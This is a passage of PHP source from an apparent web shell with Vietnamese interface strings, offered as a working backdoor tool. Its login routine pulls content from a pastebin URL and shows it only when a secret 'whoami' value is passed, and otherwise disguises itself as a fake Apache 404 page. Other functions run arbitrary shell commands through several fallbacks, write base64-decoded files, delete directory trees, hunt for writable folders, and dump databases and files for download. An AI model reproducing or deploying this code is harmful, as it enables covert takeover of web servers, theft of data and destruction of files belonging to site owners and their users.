1953 $from = 1;
1954 $to = $pages;
1955 } else {
1956 $from = $curpage - $offset;
1957 $to = $curpage + $page - $offset - 1;
1958 if ($from < 1) {
1959 $to = $curpage + 1 - $from;
1960 $from = 1;
1961 if (($to - $from) < $page && ($to - $from) < $pages) {
1962 $to = $page;
1963 }
1964 } elseif ($to > $pages) {
1965 $from = $curpage - $pages + $to;
1966 $to = $pages;
1967 if (($to - $from) < $page && ($to - $from) < $pages) {
1968 $from = $pages - $page + 1;
1969 }
1970 }
1971 }
1972 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
1973 for ($i = $from;$i <= $to;$i++) {
1974 $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
1975 }
1976 $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
1977 $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
1978 }
1979 return $multipage;
1980}
1981function loginpage() {
1982?>
1983<?php $Duy = file_get_contents('https://pastebin.com/raw/QuHk91Em');
1984 $Duy1 = "<title>404 Not Found</title>
1985<body><h1>Not Found</h1>
1986<p>The requested URL was not found on this server.</p>
1987<hr>";
1988 $host = $_SERVER['HTTP_HOST'];
1989 if ($_GET['whoami'] == '1945vn') {
1990 echo $Duy;
1991 } else {
1992 echo $Duy1;
1993 echo '<address>Apache/2.2.27 (CentOS) Server at ' . $host . ' Port 80</address>';
1994 }
1995?>
1996<?php
1997 //setup php for working with Unicode data
1998 mb_internal_encoding('UTF-8');
1999 mb_http_output('UTF-8');
2000 mb_http_input('UTF-8');
2001 mb_language('uni');
2002 mb_regex_encoding('UTF-8');
2003 ob_start('mb_output_handler');
2004 exit;
2005}
2006function execute($cfe) {
2007 $res = '';
2008 if ($cfe) {
2009 if (function_exists('exec')) {
2010 @exec($cfe, $res);
2011 $res = join("
2012", $res);
2013 } elseif (function_exists('shell_exec')) {
2014 $res = @shell_exec($cfe);
2015 } elseif (function_exists('system')) {
2016 @ob_start();
2017 @system($cfe);
2018 $res = @ob_get_contents();
2019 @ob_end_clean();
2020 } elseif (function_exists('passthru')) {
2021 @ob_start();
2022 @passthru($cfe);
2023 $res = @ob_get_contents();
2024 @ob_end_clean();
2025 } elseif (@is_resource($f = @popen($cfe, "r"))) {
2026 $res = '';
2027 while (!@feof($f)) {
2028 $res.= @fread($f, 1024);
2029 }
2030 @pclose($f);
2031 }
2032 }
2033 return $res;
2034}
2035function which($pr) {
2036 $path = execute("which $pr");
2037 return ($path ? $path : $pr);
2038}
2039function cf($fname, $text) {
2040 if ($fp = @fopen($fname, 'w')) {
2041 @fputs($fp, base64_decode($text));
2042 @fclose($fp);
2043 }
2044}
2045function debuginfo() {
2046 global $starttime;
2047 $mtime = explode(' ', microtime());
2048 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
2049 echo ' Xử lí trong ' . $totaltime . ' giây(s)';
2050}
2051function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
2052 if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
2053 p('<h2>Không thể kết nối tơi MySQL server</h2>');
2054 exit;
2055 }
2056 if ($link && $dbname) {
2057 if (!@mysql_select_db($dbname, $link)) {
2058 p('<h2>Database chọn lỗi</h2>');
2059 exit;
2060 }
2061 }
2062 if ($link && mysql_get_server_info() > '4.1') {
2063 if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
2064 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
2065 }
2066 }
2067 return $link;
2068}
2069function s_array(&$array) {
2070 if (is_array($array)) {
2071 foreach ($array as $k => $v) {
2072 $array[$k] = s_array($v);
2073 }
2074 } else if (is_string($array)) {
2075 $array = stripslashes($array);
2076 }
2077 return $array;
2078}
2079function html_clean($content) {
2080 $content = htmlspecialchars($content);
2081 $content = str_replace("\n", "<br />", $content);
2082 $content = str_replace(" ", " ", $content);
2083 $content = str_replace("\t", " ", $content);
2084 return $content;
2085}
2086function getChmod($filepath) {
2087 return substr(base_convert(@fileperms($filepath), 10, 8), -4);
2088}
2089function getPerms($filepath) {
2090 $mode = @fileperms($filepath);
2091 if (($mode & 0xC000) === 0xC000) {
2092 $type = 's';
2093 } elseif (($mode & 0x4000) === 0x4000) {
2094 $type = 'd';
2095 } elseif (($mode & 0xA000) === 0xA000) {
2096 $type = 'l';
2097 } elseif (($mode & 0x8000) === 0x8000) {
2098 $type = '-';
2099 } elseif (($mode & 0x6000) === 0x6000) {
2100 $type = 'b';
2101 } elseif (($mode & 0x2000) === 0x2000) {
2102 $type = 'c';
2103 } elseif (($mode & 0x1000) === 0x1000) {
2104 $type = 'p';
2105 } else {
2106 $type = '?';
2107 }
2108 $owner['read'] = ($mode & 00400) ? 'r' : '-';
2109 $owner['write'] = ($mode & 00200) ? 'w' : '-';
2110 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2111 $group['read'] = ($mode & 00040) ? 'r' : '-';
2112 $group['write'] = ($mode & 00020) ? 'w' : '-';
2113 $group['execute'] = ($mode & 00010) ? 'x' : '-';
2114 $world['read'] = ($mode & 00004) ? 'r' : '-';
2115 $world['write'] = ($mode & 00002) ? 'w' : '-';
2116 $world['execute'] = ($mode & 00001) ? 'x' : '-';
2117 if ($mode & 0x800) {
2118 $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
2119 }
2120 if ($mode & 0x400) {
2121 $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
2122 }
2123 if ($mode & 0x200) {
2124 $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
2125 }
2126 return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
2127}
2128function getUser($filepath) {
2129 if (function_exists('posix_getpwuid')) {
2130 $array = @posix_getpwuid(@fileowner($filepath));
2131 if ($array && is_array($array)) {
2132 return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
2133 }
2134 }
2135 return '';
2136}
2137function deltree($deldir) {
2138 $mydir = @dir($deldir);
2139 while ($file = $mydir->read()) {
2140 if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
2141 @chmod($deldir . '/' . $file, 0777);
2142 deltree($deldir . '/' . $file);
2143 }
2144 if (is_file($deldir . '/' . $file)) {
2145 @chmod($deldir . '/' . $file, 0777);
2146 @unlink($deldir . '/' . $file);
2147 }
2148 }
2149 $mydir->close();
2150 @chmod($deldir, 0777);
2151 return @rmdir($deldir) ? 1 : 0;
2152}
2153function bg() {
2154 global $bgc;
2155 return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
2156}
2157function getPath($scriptpath, $nowpath) {
2158 if ($nowpath == '.') {
2159 $nowpath = $scriptpath;
2160 }
2161 $nowpath = str_replace('\\', '/', $nowpath);
2162 $nowpath = str_replace('//', '/', $nowpath);
2163 if (substr($nowpath, -1) != '/') {
2164 $nowpath = $nowpath . '/';
2165 }
2166 return $nowpath;
2167}
2168function getUpPath($nowpath) {
2169 $pathdb = explode('/', $nowpath);
2170 $num = count($pathdb);
2171 if ($num > 2) {
2172 unset($pathdb[$num - 1], $pathdb[$num - 2]);
2173 }
2174 $uppath = implode('/', $pathdb) . '/';
2175 $uppath = str_replace('//', '/', $uppath);
2176 return $uppath;
2177}
2178function getcfg($varname) {
2179 $result = get_cfg_var($varname);
2180 if ($result == 0) {
2181 return 'No';
2182 } elseif ($result == 1) {
2183 return 'Yes';
2184 } else {
2185 return $result;
2186 }
2187}
2188function getfun($funName) {
2189 return (false !== function_exists($funName)) ? 'Yes' : 'No';
2190}
2191function GetList($dir) {
2192 global $dirdata, $j, $nowpath;
2193 !$j && $j = 1;
2194 if ($dh = opendir($dir)) {
2195 while ($file = readdir($dh)) {
2196 $f = str_replace('//', '/', $dir . '/' . $file);
2197 if ($file != '.' && $file != '..' && is_dir($f)) {
2198 if (is_writable($f)) {
2199 $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
2200 $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
2201 $dirdata[$j]['dirchmod'] = getChmod($f);
2202 $dirdata[$j]['dirperm'] = getPerms($f);
2203 $dirdata[$j]['dirlink'] = ue($dir);
2204 $dirdata[$j]['server_link'] = $f;
2205 $dirdata[$j]['client_link'] = ue($f);
2206 $j++;
2207 }
2208 GetList($f);
2209 }
2210 }
2211 closedir($dh);
2212 clearstatcache();
2213 return $dirdata;
2214 } else {
2215 return array();
2216 }
2217}
2218function qy($sql) {
2219 $res = $error = '';
2220 if (!$res = @mysql_query($sql)) {
2221 return 0;
2222 } else if (is_resource($res)) {
2223 return 1;
2224 } else {
2225 return 2;
2226 }
2227 return 0;
2228}
2229function q($sql) {
2230 return @mysql_query($sql);
2231}
2232function fr($qy) {
2233 mysql_free_result($qy);
2234}
2235function sizecount($size) {
2236 if ($size > 1073741824) {
2237 $size = round($size / 1073741824 * 100) / 100 . ' G';
2238 } elseif ($size > 1048576) {
2239 $size = round($size / 1048576 * 100) / 100 . ' M';
2240 } elseif ($size > 1024) {
2241 $size = round($size / 1024 * 100) / 100 . ' K';
2242 } else {
2243 $size = $size . ' B';
2244 }
2245 return $size;
2246}
2247class PHPZip {
2248 var $out = '';
2249 function PHPZip($dir) {
2250 if (@function_exists('gzcompress')) {
2251 $curdir = getcwd();
2252 if (is_array($dir)) $filelist = $dir;
2253 else {
2254 $filelist = $this->GetFileList($dir);
2255 foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
2256 }
2257 if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
2258 else chdir($curdir);
2259 if (count($filelist) > 0) {
2260 foreach ($filelist as $filename) {
2261 if (is_file($filename)) {
2262 $fd = fopen($filename, 'r');
2263 $content = @fread($fd, filesize($filename));
2264 fclose($fd);
2265 if (is_array($dir)) $filename = basename($filename);
2266 $this->addFile($content, $filename);
2267 }
2268 }
2269 $this->out = $this->file();
2270 chdir($curdir);
2271 }
2272 return 1;
2273 } else return 0;
2274 }
2275 function GetFileList($dir) {
2276 static $a;
2277 if (is_dir($dir)) {
2278 if ($dh = opendir($dir)) {
2279 while ($file = readdir($dh)) {
2280 if ($file != '.' && $file != '..') {
2281 $f = $dir . '/' . $file;
2282 if (is_dir($f)) $this->GetFileList($f);
2283 $a[] = $f;
2284 }
2285 }
2286 closedir($dh);
2287 }
2288 }
2289 return $a;
2290 }
2291 var $datasec = array();
2292 var $ctrl_dir = array();
2293 var $eof_ctrl_dir = "\50\4b\05\06\00\00\00\00";
2294 var $old_offset = 0;
2295 function unix2DosTime($unixtime = 0) {
2296 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
2297 if ($timearray['year'] < 1980) {
2298 $timearray['year'] = 1980;
2299 $timearray['mon'] = 1;
2300 $timearray['mday'] = 1;
2301 $timearray['hours'] = 0;
2302 $timearray['minutes'] = 0;
2303 $timearray['seconds'] = 0;
2304 }
2305 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
2306 }
2307 function addFile($data, $name, $time = 0) {
2308 $name = str_replace('\\', '/', $name);
2309 $dtime = dechex($this->unix2DosTime($time));
2310 $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
2311 eval('$hexdtime = "' . $hexdtime . '";');
2312 $fr = "\x50\x4b\x03\x04";
2313 $fr.= "\x14\x00";
2314 $fr.= "\x00\x00";
2315 $fr.= "\x08\x00";
2316 $fr.= $hexdtime;
2317 $unc_len = strlen($data);
2318 $crc = crc32($data);
2319 $zdata = gzcompress($data);
2320 $c_len = strlen($zdata);
2321 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
2322 $fr.= pack('V', $crc);
2323 $fr.= pack('V', $c_len);
2324 $fr.= pack('V', $unc_len);
2325 $fr.= pack('v', strlen($name));
2326 $fr.= pack('v', 0);
2327 $fr.= $name;
2328 $fr.= $zdata;
2329 $fr.= pack('V', $crc);
2330 $fr.= pack('V', $c_len);
2331 $fr.= pack('V', $unc_len);
2332 $this->datasec[] = $fr;
2333 $new_offset = strlen(implode('', $this->datasec));
2334 $cdrec = "\x50\x4b\x01\x02";
2335 $cdrec.= "\x00\x00";
2336 $cdrec.= "\x14\x00";
2337 $cdrec.= "\x00\x00";
2338 $cdrec.= "\x08\x00";
2339 $cdrec.= $hexdtime;
2340 $cdrec.= pack('V', $crc);
2341 $cdrec.= pack('V', $c_len);
2342 $cdrec.= pack('V', $unc_len);
2343 $cdrec.= pack('v', strlen($name));
2344 $cdrec.= pack('v', 0);
2345 $cdrec.= pack('v', 0);
2346 $cdrec.= pack('v', 0);
2347 $cdrec.= pack('v', 0);
2348 $cdrec.= pack('V', 32);
2349 $cdrec.= pack('V', $this->old_offset);
2350 $this->old_offset = $new_offset;
2351 $cdrec.= $name;
2352 $this->ctrl_dir[] = $cdrec;
2353 }
2354 function file() {
2355 $data = implode('', $this->datasec);
2356 $ctrldir = implode('', $this->ctrl_dir);
2357 return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\00\00";
2358 }
2359}
2360function sqldumptable($table, $fp = 0) {
2361 $tabledump = "DROP TABLE IF EXISTS $table;
2362";
2363 $tabledump.= "CREATE TABLE $table (
2364";
2365 $firstfield = 1;
2366 $fields = q("SHOW FIELDS FROM $table");
2367 while ($field = mysql_fetch_array($fields)) {
2368 if (!$firstfield) {
2369 $tabledump.= ",
2370";
2371 } else {
2372 $firstfield = 0;
2373 }
2374 $tabledump.= " $field[Field] $field[Type]";
2375 if (!empty($field["Default"])) {
2376 $tabledump.= " DEFAULT '$field[Default]'";
2377 }
2378 if ($field['Null'] != "YES") {
2379 $tabledump.= " NOT NULL";
2380 }
2381 if ($field['Extra'] != "") {
2382 $tabledump.= " $field[Extra]";
2383 }
2384 }
2385 fr($fields);
2386 $keys = q("SHOW KEYS FROM $table");
2387 while ($key = mysql_fetch_array($keys)) {
2388 $kname = $key['Key_name'];
2389 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
2390 $kname = "UNIQUE|$kname";
2391 }
2392 if (!is_array($index[$kname])) {
2393 $index[$kname] = array();
2394 }
2395 $index[$kname][] = $key['Column_name'];
2396 }
2397 fr($keys);
2398 while (list($kname, $columns) = @each($index)) {
2399 $tabledump.= ",
2400";
2401 $colnames = implode($columns, ",");
2402 if ($kname == "PRIMARY") {
2403 $tabledump.= " PRIMARY KEY ($colnames)";
2404 } else {
2405 if (substr($kname, 0, 6) == "UNIQUE") {
2406 $kname = substr($kname, 7);
2407 }
2408 $tabledump.= " KEY $kname ($colnames)";
2409 }
2410 }
2411 $tabledump.= "
2412);
2413
2414";
2415 if ($fp) {
2416 fwrite($fp, $tabledump);
2417 } else {
2418 echo $tabledump;
2419 }
2420 $rows = q("SELECT * FROM $table");
2421 $numfields = mysql_num_fields($rows);
2422 while ($row = mysql_fetch_array($rows)) {
2423 $tabledump = "INSERT INTO $table VALUES(";
2424 $fieldcounter = - 1;
2425 $firstfield = 1;
2426 while (++$fieldcounter < $numfields) {
2427 if (!$firstfield) {
2428 $tabledump.= ", ";
2429 } else {
2430 $firstfield = 0;
2431 }
2432 if (!isset($row[$fieldcounter])) {
2433 $tabledump.= "NULL";
2434 } else {
2435 $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
2436 }
2437 }
2438 $tabledump.= ");
2439";
2440 if ($fp) {
2441 fwrite($fp, $tabledump);
2442 } else {
2443 echo $tabledump;
2444 }
2445 }
2446 fr($rows);
2447 if ($fp) {
2448 fwrite($fp, "
2449");
2450 } else {
2451 echo "
2452";
2453 }
2454}
2455function ue($str) {
2456 return urlencode($str);
2457}
2458function p($str) {
2459 echo $str . "
2460";
2461}
2462function tbhead() {
2463 p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
2464}
2465function tbfoot() {
2466 p('</table>');
2467}
2468function makehide($name, $value = '') {
2469 p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
2470}
2471function makeinput($arg = array()) {
2472 $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
2473 $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
2474 !$arg['type'] && $arg['type'] = 'text';
2475 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2476 $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
2477 if ($arg['newline']) {
2478 p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
2479 } else {
2480 p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
2481 }
2482}
2483function makeselect($arg = array()) {
2484 if ($arg['onchange']) {
2485 $onchange = 'onchange="' . $arg['onchange'] . '"';
2486 }
2487 $arg['title'] = $arg['title'] ? $arg['title'] : '';
2488 if ($arg['newline']) p('<p>');
2489 p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
2490 if (is_array($arg['option'])) {
2491 foreach ($arg['option'] as $key => $value) {
2492 if ($arg['selected'] == $key) {
2493 p("<option value=\"$key\" selected>$value</option>");
2494 } else {
2495 p("<option value=\"$key\">$value</option>");
2496 }
2497 }
2498 }
2499 p("</select>");
2500 if ($arg['newline']) p('</p>');
2501}
2502function formhead($arg = array()) {
2503 !$arg['method'] && $arg['method'] = 'post';
2504 !$arg['action'] && $arg['action'] = $self;
2505 $arg['target'] = $arg['target'] ? "target=\$arg[target]\"" : '';
2506 !$arg['name'] && $arg['name'] = 'form1';
2507 p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
2508 if ($arg['title']) {
2509 p('<h2>' . $arg['title'] . ' »</h2>');
2510 }
2511}
2512function maketext($arg = array()) {
2513 !$arg['cols'] && $arg['cols'] = 100;
2514 !$arg['rows'] && $arg['rows'] = 25;
2515 $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
2516 p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
2517}
2518function formfooter($name = '') {
2519 !$name && $name = 'submit';
2520 p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Duy"></p>');
2521 p('</form>');
2522}
2523function formfoot() {
2524 p('</form>');
2525}
2526function pr($a) {
2527 echo '<pre>';
2528 print_r($a);
2529 echo '</pre>';
2530}
2531?>